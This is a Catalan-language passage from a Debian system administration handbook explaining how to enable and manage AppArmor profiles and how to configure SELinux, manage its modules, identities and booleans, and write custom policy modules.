AppArmor aplica un conjunt de regles (conegut com a «profile» o “perfil”) a cada programa. El perfil aplicat pel nucli depèn del camí d'instal·lació del programa que s'està executant. Contràriament al SELinux (descrit al Secció 14.5, «Introducció a SELinux»), les regles aplicades no depenen de l'usuari. Tots els usuaris s'enfronten al mateix conjunt de regles quan estan executant el mateix programa (però els permisos d'usuari tradicionals encara s'apliquen i poden resultar en un comportament diferent!).

Els perfils d'AppArmor s'emmagatzemen a /etc/apparmor.d/ i contenen una llista de regles de control d'accés sobre els recursos que cada programa pot utilitzar. Els perfils són compilats i carregats al nucli per l'ordre apparmor_parser. Cada perfil es pot carregar en mode forçat («enforcing») o reclamat («complaining»). El primer fa complir la política i informa dels intents de violació, mentre que el segon no fa complir la política, però tot i així registra les crides del sistema que s'haurien denegat.

14.4.2. Habilitar AppArmor i gestionar-ne els perfils

El suport d'AppArmor està integrat en els nuclis estàndard proporcionats per Debian. Per tant, l'activació d'AppArmor és només qüestió d'instal·lar alguns paquets mitjançant l'execució d'apt install apparmor apparmor-profiles apparmor-utils amb privilegis d'administrador.

AppArmor és funcional després de la instal·lació, i aa-status ho confirmarà ràpidament:

# aa-status apparmor module is loaded. 32 profiles are loaded. 15 profiles are in enforce mode. /usr/bin/man [...] 17 profiles are in complain mode. /usr/sbin/dnsmasq [...] 1 processes have profiles defined. 1 processes are in enforce mode. /usr/sbin/libvirtd (468) libvirtd 0 processes are in complain mode. 0 processes are unconfined but have a profile defined.

NOTA Més perfils d'AppArmor

El paquet apparmor-profiles conté perfils gestionats per la comunitat d'AppArmor. Per obtenir encara més perfils podeu instal·lar apparmor-profiles-extra que conté perfils desenvolupats per Ubuntu i Debian.

L'estat de cada perfil es pot intercanviar entre forçat i reclamació amb crides a aa-enforce i aa-complain donant com a paràmetre el camí de l'executable o el camí al fitxer de política. A més, un perfil es pot desactivar completament amb aa-disable o posat en mode d'auditoria (per també registrar les crides al sistema acceptades) amb aa-audit.

# aa-enforce /usr/bin/pidgin Setting /usr/bin/pidgin to enforce mode. # aa-complain /usr/sbin/dnsmasq Setting /usr/sbin/dnsmasq to complain mode.

14.4.3. Creació d'un perfil nou

Tot i que crear un perfil d'AppArmor és bastant fàcil, la majoria dels programes no en tenen. Aquesta secció us mostrarà com crear un nou perfil des de zero només mitjançant l'ús del programa en qüestió i deixant que AppArmor monitoritzi les crides de sistema que fa i els recursos que accedeix.

Els programes més importants que cal confinar són el programes que interaccionen amb la xarxa, ja que aquests són els objectius més probables dels atacants remots. Per això AppArmor proporciona convenientment una ordre aa-unconfined per llistar els programes que no tenen cap perfil associat i que exposen un sòcol de xarxa obert. Amb l'opció --paranoid obtindreu tots els processos no confinats que tenen almenys una connexió activa de xarxa.

# aa-unconfined 451 /usr/bin/containerd not confined 467 /usr/sbin/sshd (sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups) not confined 892 /usr/sbin/exim4 not confined

En el següent exemple, intentarem crear un perfil per a /sbin/dhclient (ja hi ha un perfil inclòs a apparmor-profiles de manera que podeu comparar els resultats amb l'oficial). Per a això, usarem aa-genprof dhclient. Us convidarà a usar l'aplicació en una altra finestra i, quan hàgiu acabat, a tornar a aa-genprof per escanejar els esdeveniments AppArmor als registres del sistema i convertir aquests registres en regles d'accés. Per a cada esdeveniment registrat, farà un o més suggeriments de regla que podeu aprovar o editar de diverses maneres:

# aa-genprof dhclient Writing updated profile for /usr/sbin/dhclient. Setting /usr/sbin/dhclient to complain mode. Before you begin, you may wish to check if a profile already exists for the application you wish to confine. See the following wiki page for more information: https://gitlab.com/apparmor/apparmor/wikis/Profiles Profiling: /usr/sbin/dhclient Please start the application to be profiled in another window and exercise its functionality now. Once completed, select the "Scan" option below in order to scan the system logs for AppArmor events. For each AppArmor event, you will be given the opportunity to choose whether the access should be allowed or denied. [(S)can system log for AppArmor events] / (F)inish S Reading log entries from /var/log/syslog. Profile: /usr/sbin/dhclient Execute: /usr/sbin/dhclient-script Severity: unknown (I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t / (F)inish P Should AppArmor sanitise the environment when switching profiles? Sanitising environment is more secure, but some applications depend on the presence of LD_PRELOAD or LD_LIBRARY_PATH. [(Y)es] / (N)o Y Writing updated profile for /usr/sbin/dhclient-script. Complain-mode changes: Profile: /usr/sbin/dhclient Capability: net_raw Severity: 8 [1 - capability net_raw,] (A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish A Adding capability net_raw, to profile. Profile: /usr/sbin/dhclient Capability: net_bind_service Severity: 8 [1 - #include <abstractions/nis>] 2 - capability net_bind_service, (A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish A Adding #include <abstractions/nis> to profile. Profile: /usr/sbin/dhclient Path: /etc/ssl/openssl.cnf New Mode: owner r Severity: 2 [1 - #include <abstractions/lightdm>] 2 - #include <abstractions/openssl> 3 - #include <abstractions/ssl_keys> 4 - owner /etc/ssl/openssl.cnf r, (A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish 2 Profile: /usr/sbin/dhclient Path: /etc/ssl/openssl.cnf New Mode: owner r Severity: 2 1 - #include <abstractions/lightdm> [2 - #include <abstractions/openssl>] 3 - #include <abstractions/ssl_keys> 4 - owner /etc/ssl/openssl.cnf r, [(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore A [...] Profile: /usr/sbin/dhclient-script Path: /usr/bin/dash New Mode: owner r Severity: unknown 1 - #include <abstractions/gvfs-open> [2 - #include <abstractions/lightdm>] 3 - #include <abstractions/ubuntu-browsers.d/plugins-common> 4 - #include <abstractions/xdg-open> 5 - owner /usr/bin/dash r, (A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish A Adding #include <abstractions/lightdm> to profile. Deleted 2 previous matching profile entries. = Changed Local Profiles = The following local profiles were changed. Would you like to save them? [1 - /usr/sbin/dhclient] 2 - /usr/sbin/dhclient-script (S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t S Writing updated profile for /usr/sbin/dhclient. Writing updated profile for /usr/sbin/dhclient-script. Profiling: /usr/sbin/dhclient Please start the application to be profiled in another window and exercise its functionality now. Once completed, select the "Scan" option below in order to scan the system logs for AppArmor events. For each AppArmor event, you will be given the opportunity to choose whether the access should be allowed or denied. [(S)can system log for AppArmor events] / (F)inish F Setting /usr/sbin/dhclient to enforce mode. Setting /usr/sbin/dhclient-script to enforce mode. Reloaded AppArmor profiles in enforce mode. Please consider contributing your new profile! See the following wiki page for more information: https://gitlab.com/apparmor/apparmor/wikis/Profiles Finished generating profile for /usr/sbin/dhclient.

Tingueu en compte que el programa no mostra els caràcters de control que escriviu però per a la claredat de l'explicació s'han inclòs a la transcripció anterior.

El primer esdeveniment detectat és l'execució d'un altre programa. En aquest cas, hi ha diverses opcions: podeu executar el programa amb el perfil del procés pare (l'opció «inherit» o “heretar”), podeu executar-lo amb el seu propi perfil dedicat (opcions «Profile» i “Named”, que difereixen només per la possibilitat d'utilitzar un nom de perfil arbitrari), podeu executar-lo amb un “sub-perfil” del procés pare (opció «Child» o “fill”), podeu executar-lo sense cap perfil (l'opció «Unconfined» o “desconfinada”) o podeu decidir no executar-lo en absolut (l'opció “Deny”).

Tingueu en compte que quan opteu per executar-lo sota un perfil dedicat que encara no existeix, l'eina us crearà el perfil que falta i farà suggeriments de regles per a aquest perfil en la mateixa execució.

A nivell del nucli, els poders especials de l'usuari administrador estan dividits en «capabilities» o “capacitats”. Quan una crida de sistema requereix d'una capacitat específica, AppArmor verificarà si el perfil permet al programa fer ús d'aquesta capacitat.

Aquí el programa cerca permisos de lectura per /etc/ssl/openssl.cnf. aa-genprof ha detectat que aquest permís també va ser concedit per múltiples “abstraccions” i les ofereix com a opcions alternatives. Una abstracció proporciona un conjunt de regles d'accés reutilitzables que agrupen diversos recursos que s'utilitzen habitualment junts. En aquest cas específic, el fitxer s'accedeix generalment a través de les funcions relacionades amb el servei de noms de la biblioteca C i s'escriu "2" per seleccionar primer l'opció “#include<abstractions/openssl>” i després “A” per permetre-ho.

Tingueu en compte que aquesta sol·licitud d'accés no forma part del perfil dhclient sinó del nou perfil que s'ha creat quan s'ha permès que /usr/sbin/dhclient-script s'executi amb el seu propi perfil.

Després d'haver passat per tots els esdeveniments registrats, el programa ofereix salvar tots els perfils que es s'han creat durant l'execució. En aquest cas, tenim dos perfils que es desen alhora amb «Save» (però també els podeu desar individualment) abans de sortir del programa amb «Finish».

aa-genprof és de fet només un “embolcall” intel·ligent al voltant de aa-logprof: crea un perfil buit, el carrega en mode de “reclamació” i després executa aa-logprof que és una eina per actualitzar un perfil basat en les violacions de perfil que s'han registrat. Així que es pot tornar a executar aquesta eina més endavant per millorar el perfil que s'acaba de crear.

Si es vol que el perfil generat sigui complet, s'ha d'utilitzar el programa de totes les maneres legítimes d'ús. En el cas de dhclient, això vol dir executar-lo a través del Network Manager, executar-lo via ifupdown, executar-lo manualment, etc. Al final, es podria obtenir un /etc/apparmor.d/usr.sbin.dhclient similar al perfil inclòs a apparmor-profiles a /usr/share/apparmor/extra-profiles/sbin.dhclient.

I /etc/apparmor.d/usr.sbin.dhclient-script podria ser similar a /usr/share/apparmor/extra-profiles/sbin.dhclient, també inclòs a apparmor-profiles.

14.5. Introducció a SELinux

14.5.1. Principis

SELinux («Security Enhanced Linux» o “Linux amb seguretat millorada”) és un sistema de control d'accés obligatori («Mandatory Access Control») fonamentat en la interfície LSM de Linux («Linux Security Modules» o “mòduls de seguretat de Linux”). A la pràctica, el nucli consulta a SELinux abans que cada crida de sistema per saber si el procés està autoritzat a fer l'operació donada.

SELinux utilitza un conjunt de regles, conegudes col·lectivament com a política, per autoritzar o prohibir les operacions. Aquestes normes són difícils de crear. Afortunadament, es proporcionen dues polítiques estàndard («targeted», o “dirigides”, i «strict», o “estrictes”) per evitar la major part de la feina de configuració.

Amb SELinux, la gestió dels drets és completament diferent dels sistemes Unix tradicionals. Els drets d'un procés depenen del seu context de seguretat. El context es defineix per la identitat de l'usuari que inicia el procés, el rol i el domini que l'usuari té en aquell moment. Els drets realment depenen del domini, però les transicions entre dominis estan controlades pels rols. Finalment, les possibles transicions entre rols depenen de la identitat.

Figura 14.1. Contextos de seguretat i usuaris d'Unix

A la pràctica, durant l'inici de sessió, l'usuari té assignat per defecte un context de seguretat (depenent dels rols que es puguin adoptar). Això defineix el domini actual, i per tant el domini que portaran tots els nous processos fills. Si es vol canviar el rol actual i el seu domini associat, cal executar newrole -r rol_r -t domini_t (normalment només hi ha un sol domini permès per a un rol donat, així doncs el paràmetre -t sovint es pot obviar). Aquesta ordre autentica l'usuari demanant la contrasenya. Aquesta característica impedeix que els programes canviïn automàticament els rols. Aquests canvis només poden ocórrer si estan explícitament permesos en la política de SELinux.

Òbviament els drets no s'apliquen a tots els objectes (fitxers, directoris, sòcols, dispositius, etc.). Poden variar d'objecte a objecte. Per aconseguir-ho, cada objecte està associat a un tipus (això es coneix com a etiquetatge). Els drets dels dominis s'expressen així amb conjunts d'operacions (des)autoritzades en aquests tipus (i, indirectament, en tots els objectes que estan etiquetats amb el tipus donat).

EXTRA Dominis i tipus són equivalents

Internament, un domini és només un tipus, però un tipus que només s'aplica a processos. Per això els dominis s'han de sufixar amb _t igual que els tipus d'objectes.

Per defecte, un programa hereta el domini de l'usuari que l'inicia, però les polítiques estàndard de SELinux esperen que molts programes importants s'executin en dominis dedicats. Per aconseguir-ho, aquests executables estan etiquetats amb un tipus dedicat (per exemple ssh està etiquetat amb ssh_exec_t, i quan el programa inicia, es canvia automàticament al domini ssh_t). Aquest mecanisme automàtic de transició de domini permet concedir només els drets requerits per cada programa. És un principi fonamental de SELinux.

Figura 14.2. Transicions automàtiques entre dominis

A LA PRÁCTICA Trobar el context de seguretat

Per trobar el context de seguretat actual en un intèrpret d'ordres, s'ha d'executar id -Z.

$ id -Z unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Si rebeu un missatge que diu «id: --context (-Z) works only on an SELinux-enabled kernel» (“només funciona en un nucli amb SELinux habilitat”), llavors primer haureu d'habilitar SELinux executant selinux-activate i reiniciant.

Per trobar el context de seguretat d'un procés donat, s'ha d'utilitzar l'opció Z de ps.

$ ps axZ | grep vstfpd system_u:system_r:ftpd_t:s0 2094 ? Ss 0:00 /usr/sbin/vsftpd

El primer camp conté la identitat, el rol, el domini i el nivell MCS, separats per dos punts. El nivell MCS («Multi-Category Security» o “seguretat multi-categoria”) és un paràmetre que intervé en la configuració d'una política de protecció de la confidencialitat, que regula l'accés als arxius basant-se en la seva sensibilitat. Aquesta característica no s'explicarà en aquest llibre.

Finalment, per trobar el tipus assignat a un fitxer, es pot utilitzar ls -Z.

$ ls -Z test /usr/bin/ssh unconfined_u:object_r:user_home_t:s0 test system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh

Val la pena assenyalar que la identitat i el paper assignats a un arxiu no tenen una importància especial (no s'utilitzen mai), però en nom de la uniformitat, tots els objectes tenen un context de seguretat complet.

14.5.2. Configuració de SELinux

El suport de SELinux està integrat en els nuclis estàndard proporcionats per Debian. Les eines bàsiques d'Unix admeten SELinux sense cap modificació. Per tant, és relativament fàcil habilitar SELinux.

L'ordre apt install selinux-basics selinux-policy-default auditd instal·larà automàticament els paquets necessaris per configurar un sistema SELinux.

El paquet selinux-policy-default conté un conjunt de regles estàndard. Per defecte, aquesta política només limita l'accés a uns pocs serveis àmpliament exposats. Les sessions d'usuari no estan restringides i per tant és improbable que SELinux bloquegi operacions d'usuari legítimes. Tanmateix, això millora la seguretat dels serveis del sistema que funcionen a la màquina. Per configurar una política equivalent a les antigues regles "estrictes", només heu de desactivar el mòdul unconfined (la gestió de mòduls és detallarà més endavant en aquesta secció).

Una vegada que s'hagi instal·lat la política, s'haurien d'etiquetar tots els arxius disponibles (que significa assignar-los un tipus). Aquesta operació s'ha d'iniciar manualment amb fixfiles relabel.

El sistema SELinux ja està llest. Per activar-lo, s'ha d'afegir el paràmetre selinux=1 security=selinux al nucli de Linux. El paràmetre audit=1 permet el registre de SELinux que registra totes les operacions denegades. Finalment, el paràmetre enforcing=1 comporta l'aplicació de les regles: sense ell SELinux funciona en el seu mode per defecte «permissive» on les accions denegades estan registrades però tot i així executades. Per tant, s'hauria de modificar el fitxer de configuració del gestor d'arrencada GRUB per afegir els paràmetres desitjats. Una manera fàcil de fer-ho és modificar la variable GRUB_CMDLINE_LINUX a /etc/default/grub i executar update-grub. SELinux estarà actiu després d'un reinici.

Val la pena assenyalar que l'script selinux-activate automatitza aquestes operacions i obliga a etiquetar en la següent arrencada (fet que evita nous fitxers no etiquetats creats mentre SELinux encara no estava actiu i mentre l'etiquetatge estava en curs).

14.5.3. Gestió d'un sistema SELinux

La política de SELinux és un conjunt modular de regles, i la seva instal·lació detecta i habilita automàticament tots els mòduls pertinents basats en els serveis ja instal·lats. Així doncs, el sistema està operatiu immediatament. No obstant això, quan s'instal·la un servei després de la política de SELinux, cal que sigui capaç d'habilitar manualment el mòdul corresponent. Aquest és el propòsit de l'ordre semodule. A més, heu de poder definir els rols que cada usuari pot adoptar, i això es pot fer amb l'ordre semanage.

Aquestes dues ordres es poden utilitzar per modificar la configuració actual de SELinux, que s'emmagatzema a /etc/selinux/default/. A diferència d'altres fitxers de configuració que es poden trobar a /etc/, tots aquests fitxers no s'han de canviar manualment. S'haurien d'utilitzar els programes dissenyats per a aquest propòsit.

ANANT MÉS ENLLÀ Més documentació

Atès que la NSA no proporciona cap documentació oficial, la comunitat ha muntat un wiki per compensar-ho. Agrupa molta informació, però heu de ser conscient que la majoria dels contribuents de SELinux són usuaris de Fedora (on SELinux està habilitat per defecte). La documentació, per tant, tendeix a tractar específicament aquesta distribució.

→ https://selinuxproject.org

També hauríeu de fer una ullada a la pàgina wiki de Debian dedicada.

→ https://wiki.debian.org/SELinux

14.5.3.1. Gestió dels mòduls de SELinux

Els mòduls de SELinux disponibles s'emmagatzemen al directori /usr/share/selinux/default/. Per habilitar un d'aquests mòduls en la configuració actual, s'hauria d'utilitzar semodule -i mòdul.pp.bz2. L'extensió pp.bz2 significa «policy package» o “paquet de polítiques” (comprimit amb bzip2).

L'eliminació d'un mòdul de la configuració actual es fa amb semodule -r mòdul. Finalment, l'ordre semodule -l llista els mòduls que estan instal·lats actualment. També en mostra els números de versió. Els mòduls es poden activar de manera selectiva amb semodule -e i desactivar amb semodule -d.

# semodule -i /usr/share/selinux/default/abrt.pp.bz2 libsemanage.semanage_direct_install_info: abrt module will be disabled after install as there is a disabled instance of this module present in the system. # semodule -l accountsd acct [...] # semodule -e abrt # semodule -d accountsd # semodule -l abrt acct [...] # semodule -r abrt libsemanage.semanage_direct_remove_key: abrt module at priority 100 is now active.

semodule carrega immediatament la nova configuració llevat que afegiu l'opció -n. Val la pena assenyalar que el programa actua per defecte amb la configuració actual (indicada per la variable SELINUXTYPE a /etc/selinux/config), però que se'n pot modificar una altra especificant-la amb l'opció -s.

14.5.3.2. Gestió d'identitats

Cada vegada que un usuari inicia sessió, se li assigna una identitat de SELinux. Aquesta identitat defineix els rols que podrà adoptar. Aquestes dues assignacions (de l'usuari a la identitat i d'aquesta identitat als rols) són configurables amb l'ordre semanage.

Heu de llegir sens dubte la pàgina del manual semanage(8). Tots els conceptes gestionats tenen la seva pròpia pàgina manual; per exemple, semanage-login(8). Encara que la sintaxi de l'ordre tendeix a ser similar per a tots els conceptes que es gestionen, es recomana llegir la seva pàgina del manual. Trobareu opcions comunes a la majoria de subordres: -a per afegir, -d per suprimir, -m per modificar, -l per llistar, i -t per indicar un tipus (o domini).

semanage login -l llista la relació actual entre els identificadors d'usuari i les identitats de SELinux. Els usuaris que no tenen una entrada explícita obtenen la identitat indicada a l'entrada __default__. L'ordre semanage login -a -s user_u usuari associarà la identitat user_u a l'usuari indicat. Finalment, semanage login -d usuari elimina l'entrada de relació assignada a aquest usuari.

# semanage login -a -s user_u rhertzog # semanage login -l Login Name SELinux User MLS/MCS Range Service __default__ unconfined_u s0-s0:c0.c1023 * rhertzog user_u s0 * root unconfined_u s0-s0:c0.c1023 * # semanage login -d rhertzog

semanage user -l llista les relacions entre les identitats d'usuari de SELinux i els rols permesos. Afegir una nova identitat requereix definir els rols corresponents i un prefix d'etiquetatge que s'utilitza per assignar un tipus a fitxers personals (/home/usuari/*). El prefix ha de ser triat entre user, staff, i sysadm. El prefix «staff» dona com a resultat fitxers de tipus «staff_home_dir_t». La creació d'una nova identitat d'usuari de SELinux es fa amb semanage user -a -R rols -P prefixe identitat. Finalment, es pot eliminar una identitat d'usuari de SELinux amb semanage user -d identitat.

# semanage user -a -R 'staff_r user_r' -P staff test_u # semanage user -l Labeling MLS/ MLS/ SELinux User Prefix MCS Level MCS Range SELinux Roles root sysadm s0 s0-s0:c0.c1023 staff_r sysadm_r system_r staff_u staff s0 s0-s0:c0.c1023 staff_r sysadm_r sysadm_u sysadm s0 s0-s0:c0.c1023 sysadm_r system_u user s0 s0-s0:c0.c1023 system_r test_u staff s0 s0 staff_r user_r unconfined_u unconfined s0 s0-s0:c0.c1023 system_r unconfined_r user_u user s0 s0 user_r # semanage user -d test_u

14.5.3.3. Gestió de contextos de fitxers, ports i booleans

Cada mòdul SELinux proporciona un conjunt de regles d'etiquetatge de fitxers, però també és possible afegir regles d'etiquetatge personalitzades per atendre algun cas específic. Per exemple, si es vol que el servidor web pugui llegir fitxers dins de la jerarquia de fitxers /srv/www/, es pot executar semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?" seguit de restorecon -R /srv/www/. La primera ordre registra les noves regles d'etiquetatge i l'última reinicia els tipus de fitxers d'acord amb les regles d'etiquetatge actuals.

De la mateixa manera, els ports TCP/UDP estan etiquetats de manera que només els dimonis corresponents poden escoltar-hi. Per exemple, si es vol que el servidor web pugui escoltar pel port 8080, caldrà d'executar semanage port -m -t http_port_t -p tcp 8080.

Alguns mòduls SELinux exporten opcions booleanes que podeu modificar per alterar el comportament de les regles predeterminades. La utilitat getsebool es pot utilitzar per inspeccionar aquestes opcions (getsebool booleà mostra una opció, i getsebool -a totes). L'ordre setsebool booleà valor canvia el valor actual d'una opció booleana. L'opció -P fa que el canvi sigui permanent, que significa que el nou valor es converteix en el valor per defecte i es mantindrà després de reiniciar. L'exemple següent concedeix als servidors web un accés als directoris d'usuari (això és útil quan els usuaris tenen llocs web personals a ~/public_html/).

# getsebool httpd_enable_homedirs httpd_enable_homedirs --> off # setsebool -P httpd_enable_homedirs on # getsebool httpd_enable_homedirs httpd_enable_homedirs --> on

14.5.4. Adaptació de les regles

Com que la política de SELinux és modular, podria ser interessant desenvolupar nous mòduls per a aplicacions (possiblement personalitzades) que no els tenen. Aquests nous mòduls completaran la política de referència.

Per crear nous mòduls, cal el paquet selinux-policy-dev, així com selinux-policy-doc. Aquest últim conté la documentació de les regles estàndard (/usr/share/doc/selinux-policy-doc/html/) i fitxers de mostra que es poden utilitzar com a patró per crear nous mòduls. Instal·leu aquests fitxers i estudieu-los més de prop:

$ cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile $ cp /usr/share/doc/selinux-policy-doc/example.fc ./ $ cp /usr/share/doc/selinux-policy-doc/example.if ./ $ cp /usr/share/doc/selinux-policy-doc/example.te ./

El fitxer .te és el més important. Defineix les regles. El fitxer .fc defineix els "contextos de fitxers", és a dir, els tipus assignats als fitxers relacionats amb aquest mòdul. Les dades del fitxer .fc s'utilitzen durant el pas de l'etiquetatge de fitxers. Finalment, el fitxer .if defineix la interfície del mòdul: és un conjunt de "funcions públiques" que altres mòduls poden utilitzar per interaccionar correctament amb el mòdul que esteu creant.

14.5.4.1. Creació d'un fitxer .fc

Llegir l'exemple següent hauria de ser suficient per entendre l'estructura d'aquesta mena de fitxer. Podeu utilitzar expressions regulars per assignar el mateix context de seguretat a diversos fitxers, o fins i tot a un arbre de directoris sencer.

Exemple 14.2. Fitxer example.fc

# myapp executable will have: # label: system_u:object_r:myapp_exec_t # MLS sensitivity: s0 # MCS categories: <none> /usr/sbin/myapp -- gen_context(system_u:object_r:myapp_exec_t,s0)

14.5.4.2. Creació d'un fitxer .if

A l'exemple següent, la primera interfície (“myapp_domtrans”) controla qui pot executar l'aplicació. El segon (“myapp_read_log”) concedeix drets de lectura als fitxers de registre de l'aplicació.

Cada interfície ha de generar un conjunt vàlid de regles que es poden inserir en un fitxer .te. Per tant, cal declarar tots els tipus que utilitzeu (amb la macro gen_require), i utilitzar directives estàndard per concedir drets. No obstant això, cal tenir en compte que es poden utilitzar interfícies proporcionades per altres mòduls. La següent secció donarà més explicacions sobre com expressar aquests drets.

Exemple 14.3. El fitxer example.if

## <summary>Myapp example policy</summary> ## <desc> ## <p> ## More descriptive text about myapp. The desc ## tag can also use p, ul, and ol ## html tags for formatting. ## </p> ## <p> ## This policy supports the following myapp features: ## <ul> ## <li>Feature A</li> ## <li>Feature B</li> ## <li>Feature C</li> ## </ul> ## </p> ## </desc> # ######################################## ## <summary> ## Execute a domain transition to run myapp. ## </summary> ## <param name="domain"> ## <summary> ## Domain allowed to transition. ## </summary> ## </param> # interface(`myapp_domtrans',` gen_require(` type myapp_t, myapp_exec_t; ') domtrans_pattern($1,myapp_exec_t,myapp_t) ') ######################################## ## <summary> ## Read myapp log files. ## </summary> ## <param name="domain"> ## <summary> ## Domain allowed to read the log files. ## </summary> ## </param> # interface(`myapp_read_log',` gen_require(` type myapp_log_t; ') logging_search_logs($1) allow $1 myapp_log_t:file read_file_perms; ')

DOCUMENTACIÓ Explicacions sobre la política de referència

La política de referència evoluciona com qualsevol projecte de programari lliure: basat en contribucions de voluntaris. El projecte està allotjat per Tresys, una de les empreses més actives en el camp de SELinux. El seu wiki conté explicacions sobre com s'han estructurat les regles i com podeu crear-ne de noves.

→ https://github.com/SELinuxProject/refpolicy/wiki/GettingStarted

14.5.4.3. Creació d'un fitxer .te

Doneu un cop d'ull al fitxer example.te:

ANANT MÉS ENLLÀ El llenguatge de macros m4

Per estructurar adequadament la política, els desenvolupadors de SELinux van utilitzar un processador de macros. En lloc de duplicar moltes directives allow similars, van crear "funcions macro" per utilitzar una lògica de més alt nivell, que també resulta en una política molt més llegible.

A la pràctica, m4 s'utilitza per compilar aquestes regles. Fa l'operació contrària: amplia totes aquestes directives d'alt nivell en una enorme base de dades de directives allow.

Les “interfícies” de SELinux només són funcions macro que seran substituïdes per un conjunt de regles en el moment de la compilació. De la mateixa manera, alguns drets són de fet conjunts de drets que són substituïts pels seus valors en el moment de la compilació.

policy_module(example,1.0.0) # a non-base module name must match the file name ######################################## # # Declarations # type myapp_t; type myapp_exec_t; domain_type(myapp_t) domain_entry_file(myapp_t, myapp_exec_t) type myapp_log_t; logging_log_file(myapp_log_t) type myapp_tmp_t; files_tmp_file(myapp_tmp_t) ######################################## # # Myapp local policy # allow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; allow myapp_t myapp_tmp_t:file manage_file_perms; files_tmp_filetrans(myapp_t,myapp_tmp_t,file)

El mòdul s'ha d'identificar pel seu nom i el número de versió. Aquesta directiva és necessària.

Si el mòdul introdueix nous tipus, ha de declarar-los amb directives com aquesta. No s'ha de dubtar per crear tants tipus com siguin necessaris en lloc de concedir massa drets inútils.

Aquestes interfícies defineixen el tipus myapp_t com un domini de procés que hauria d'utilitzar qualsevol executable etiquetat amb myapp_exec_t. Implícitament, això afegeix un atribut exec_type en aquests objectes, que al seu torn permet a altres mòduls concedir drets per executar aquests programes: per exemple, el mòdul userdomain permet processos amb dominis user_t, staff_t, i sysadm_t per executar-los. Els dominis d'altres aplicacions confinades no tindran els drets per executar-les, tret que les normes els concedeixin drets similars (aquest és el cas, per exemple, de dpkg amb el seu domini dpkg_t).

logging_log_file és una interfície proporcionada per la política de referència. Indica que els fitxers etiquetats amb el tipus donat són fitxers de registre que haurien de beneficiar-se de les regles associades (per exemple, concedint drets a logrotate perquè pugui manipular-los).

La directiva allow és la directiva base utilitzada per autoritzar una operació. El primer paràmetre és el domini de procés que està autoritzat per executar l'operació. El segon defineix l'objecte que un procés del domini anterior pot manipular. Aquest paràmetre és de la forma “tipus:classe” on tipus és el seu tipus SELinux i classe descriu la naturalesa de l'objecte (fitxer, directori, sòcol, «fifo», etc.). Finalment, l'últim paràmetre descriu els permisos (les operacions permeses).

Els permisos es defineixen com el conjunt d'operacions permeses i segueixen aquesta plantilla: { operació1 operació2 }. No obstant això, també es poden utilitzar macros que representin els permisos més útils. El fitxer /usr/share/selinux/devel/include/support/obj_perm_sets.spt els llista.

La pàgina web següent proporciona una llista relativament exhaustiva de classes d'objectes, i de permisos que es poden concedir.

→ https://selinuxproject.org/page/ObjectClassesPerms

Ara només cal trobar el conjunt mínim de normes necessàries per a garantir que l'aplicació o el servei desitjats funcionin correctament. Per a aconseguir-ho, s'hauria de tenir un bon coneixement de com funciona l'aplicació i de quin tipus de dades gestiona i/o genera.

No obstant això, és possible un enfocament empíric. Una vegada que els objectes rellevants estan etiquetats correctament, es pot utilitzar l'aplicació en mode permissiu: les operacions que serien prohibides són registrades però tot i així funcionaran. En analitzar els registres, ara ja es podran identificar les operacions a permetre. Heus aquí un exemple d'una entrada de registre d'aquest tipus:

avc: denied { read write } for pid=1876 comm="syslogd" name="xconsole" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file permissive=1

Per entendre millor aquest missatge, estudiem-lo per parts.

Taula 14.1. Anàlisi d'una traça de SELinux

Missatge | Descripció
avc: denied | S'ha denegat una operació.
{ read write } | Aquesta operació requeria els permisos read i write.
pid=1876 | El procés amb el PID 1876 va executar l'operació (o ho va intentar).
comm="syslogd" | El procés era una instància del programa syslogd.
name="xconsole" | L'objecte de destinació s'anomenava xconsole. A vegades també es pot tenir una variable «path», amb el camí complet, en lloc seu.
dev=tmpfs | El dispositiu que alberga l'objecte de destinació és un tmpfs (un sistema de fitxers en memòria). Per a un disc real, es podria veure la partició que allotjava l'objecte (per exemple, «sda3»).
ino=5510 | L'objecte és identificat pel número d'«inode» 5510.
scontext=system_u:system_r:syslogd_t:s0 | Aquest és el context de seguretat del procés que va executar l'operació.
tcontext=system_u:object_r:device_t:s0 | Aquest és el context de seguretat de l'objecte destí.
tclass=fifo_file | L'objecte de destinació és un fitxer «FIFO».

Observant aquesta entrada de registre, és possible construir una regla que permeti aquesta operació. Per exemple, allow syslogd_t device_t:fifo_file { read write }. Aquest procés es pot automatitzar, i és exactament el que ofereix l'ordre audit2allow (al paquet policycoreutils). Aquest enfocament només és útil si els diversos objectes ja estan etiquetats correctament segons el que s'ha de confinar. En qualsevol cas, haureu de revisar detingudament les normes generades i validar-les segons el vostre coneixement de l'aplicació. De fet, aquest enfocament tendeix a concedir més drets dels que realment es necessiten. La solució adequada és sovint crear nous tipus i concedir drets només sobre aquests. També pot passar que una operació denegada no sigui fatal per a l'aplicació, en aquest cas podria ser millor afegir una regla de «dontaudit» per evitar l'entrada al registre malgrat la denegació efectiva.

COMPLEMENTS Sense rols a les regles de política

Pot semblar estrany que els rols no apareguin en absolut quan es creen noves normes. SELinux només utilitza els dominis per esbrinar quines operacions estan permeses. El rol només intervé indirectament permetent a l'usuari canviar a un altre domini. SELinux es basa en una teoria coneguda com a «Type Enforcement» o “imposició de tipus” i el tipus és l'únic element que importa quan es concedeixen drets.

14.5.4.4. Compilació dels fitxers

